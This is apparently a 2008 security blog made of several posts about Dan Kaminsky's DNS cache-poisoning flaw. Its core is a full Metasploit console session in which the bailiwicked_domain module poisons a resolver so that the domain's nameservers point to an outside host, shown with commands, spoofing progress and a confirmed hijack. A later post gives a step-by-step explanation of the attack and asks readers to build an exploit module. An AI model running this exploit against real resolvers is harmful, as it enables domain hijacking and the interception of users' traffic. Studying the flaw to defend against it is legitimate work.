AV Industry: Then and Now

Via twitter:

U CAN HAZ METASPLOIT TOO. ENJOI.

(svn update will pull the current code in... it's under intense revisioning right now; something like 6 revisions in 5 hours this morning)

The current version will actually replace the cached entries for the name server itself, allowing you to hijack entire domains at once. Previous code (form earlier this morning) would allow you to take over individual entries (e.g. randomwhatever.example.com), but now you can take over (*.example.com).

Patch up, children.

-n

http://www.caughq.org/exploits/CAU-EX-2008-0003.txt

# /msf3/msfconsole

## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##


=[ msf v3.2-release
+ -- --=[ 298 exploits - 124 payloads
+ -- --=[ 18 encoders - 6 nops
=[ 73 aux

msf > use auxiliary/spoof/dns/bailiwicked_domain
msf auxiliary(bailiwicked_domain) > set RHOST A.B.C.D
RHOST => A.B.C.D
msf auxiliary(bailiwicked_domain) > set DOMAIN example.com
DOMAIN => example.com
msf auxiliary(bailiwicked_domain) > set NEWDNS dns01.metasploit.com
NEWDNS => dns01.metasploit.com
msf auxiliary(bailiwicked_domain) > set SRCPORT 0
SRCPORT => 0
msf auxiliary(bailiwicked_domain) > check
[*] Using the Metasploit service to verify exploitability...
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] >> ADDRESS: A.B.C.D PORT: 50391
[*] FAIL: This server uses static source ports and is vulnerable to poisoning
msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

b.iana-servers.net.
a.iana-servers.net.

msf auxiliary(bailiwicked_domain) > run
[*] Switching to target port 50391 based on Metasploit service
[*] Targeting nameserver A.B.C.D for injection of example.com. nameservers as dns01.metasploit.com
[*] Querying recon nameserver for example.com.'s nameservers...
[*] Got an NS record: example.com. 171957 IN NS b.iana-servers.net.
[*] Querying recon nameserver for address of b.iana-servers.net....
[*] Got an A record: b.iana-servers.net. 171028 IN A 193.0.0.236
[*] Checking Authoritativeness: Querying 193.0.0.236 for example.com....
[*] b.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Got an NS record: example.com. 171957 IN NS a.iana-servers.net.
[*] Querying recon nameserver for address of a.iana-servers.net....
[*] Got an A record: a.iana-servers.net. 171414 IN A 192.0.34.43
[*] Checking Authoritativeness: Querying 192.0.34.43 for example.com....
[*] a.iana-servers.net. is authoritative for example.com., adding to list of nameservers to spoof as
[*] Attempting to inject poison records for example.com.'s nameservers into A.B.C.D:50391...
[*] Sent 1000 queries and 20000 spoofed responses...
[*] Sent 2000 queries and 40000 spoofed responses...
[*] Sent 3000 queries and 60000 spoofed responses...
[*] Sent 4000 queries and 80000 spoofed responses...
[*] Sent 5000 queries and 100000 spoofed responses...
[*] Sent 6000 queries and 120000 spoofed responses...
[*] Sent 7000 queries and 140000 spoofed responses...
[*] Sent 8000 queries and 160000 spoofed responses...
[*] Sent 9000 queries and 180000 spoofed responses...
[*] Sent 10000 queries and 200000 spoofed responses...
[*] Sent 11000 queries and 220000 spoofed responses...
[*] Sent 12000 queries and 240000 spoofed responses...
[*] Sent 13000 queries and 260000 spoofed responses...
[*] Poisoning successful after 13250 attempts: example.com. == dns01.metasploit.com
[*] Auxiliary module execution completed

msf auxiliary(bailiwicked_domain) > dig +short -t ns example.com @A.B.C.D
[*] exec: dig +short -t ns example.com @A.B.C.D

dns01.metasploit.com.

More info on DNS Hierarchy and determining bailiwick

Anyone interested in reading more on how DNS zones and heirarchies ("bailiwick") are determined, check these articles from linuxjournal.com:

Digging Up Dirt in the DNS Hierarchy, Part I
Digging Up Dirt in the DNS Hierarchy, Part II

It should clear it up for anyone still confused about how DNS is supposed to function and why the current protections (pre-Kaminsky) were put in place.

Kaminsky's DNS Issue Accidentally Leaked?

[Update 2: Thomas Ptacek of Matasano has since posted a public apology to Dan et al for the accidental postage. Regarding The Post On Chargen Earlier Today.]

[Update 1: Upon re-reading Halvar's explanation, it appears he got it closer than I originally thought, missing only the part about "bailiwick checking", which prevents a request for arbitrary.invisibledenizen.org from poisoning ns1.google.com. Halvar's solution, as written, would fail as I understand it. But one minor change (to using subdomains) makes it all function.]

It appears matasano posted an explanation of Dan Kaminsky's DNS issue to their blog today, but looks like it may have been yanked back down. My google reader account nabbed it via the RSS feed while it was up.

It looks like maybe they had this typed up, ready to hit "post" as soon as someone else figured it out? They had advance knowledge of the issue via conference calls with Kaminsky, and when Halvar Flake posted some speculation on what the issue was, they referred to Halvar's post and their explanation hit the matasano blog. But Halvar's speculation was not the full issue; only a re-hash of previously known issues. Halvar's ideas were close, but incomplete. Matasano filled in the missing details, possibly by accident. :)

Rather than re-post their entire section and get crossways with copyright complaints, here's a summary of their explanation:

1. There's a general principle of cryptography that says if you have to guess Variable A, it's incredibly helpful to be able to make as many iterations of variable A as possible. (See wikipedia's entry on "birthday attack" or google for more details.)
   
2. DNS only uses a random 16-bit transaction ID that must be guessed in order to poison a DNS server's cache, and it must be guessed before the legitimate answer comes back. This is difficult to do on any individual requests scale.
   
3. If you can slam a server with tons of requests, Point 1 above comes into play and allows you to reliably and quickly get at least 1 DNS cache poisoning packet to match the transaction ID. (Halvar's guess said this: force requests for random0000001.com, random0000002.com, etc, to generate a large amount of Variable A's. Eventually you'll guess one right.)
4. This is obviously not very helpful. So what if I can poison bankofamerica349543.com.
5. OK, so what about DNS wildcards? If you are able to poison random00001.invisibledenizen.org, what does that get you? Enter the additional RR set field. This allows you to piggy back additional DNS responses in addition to what was requested. For security reasons, you can only respond with additional answers for addresses that match the same domain. (E.g., if I submit a request for arbitrary.domain.com, the additional response section can only return info for domain.com sub-domains.)
   
6. So the attack is this: do the above to cache poison randomXXXX.invisibledenizen.org, and in each packet have the additional RR return answers for ns1.invisibledenizen.org. Whenever random42156.invisibledenizen.org is the magical response that finds the transaction ID and poisons the cache, it will also poison the record for my nameserver, ns1.invisibledenizen.org.

Matasona stated this attack could occur in "less than 10 seconds" with current internet speeds.

Anyone want to throw together a metasploit aux module for this?

:)

-N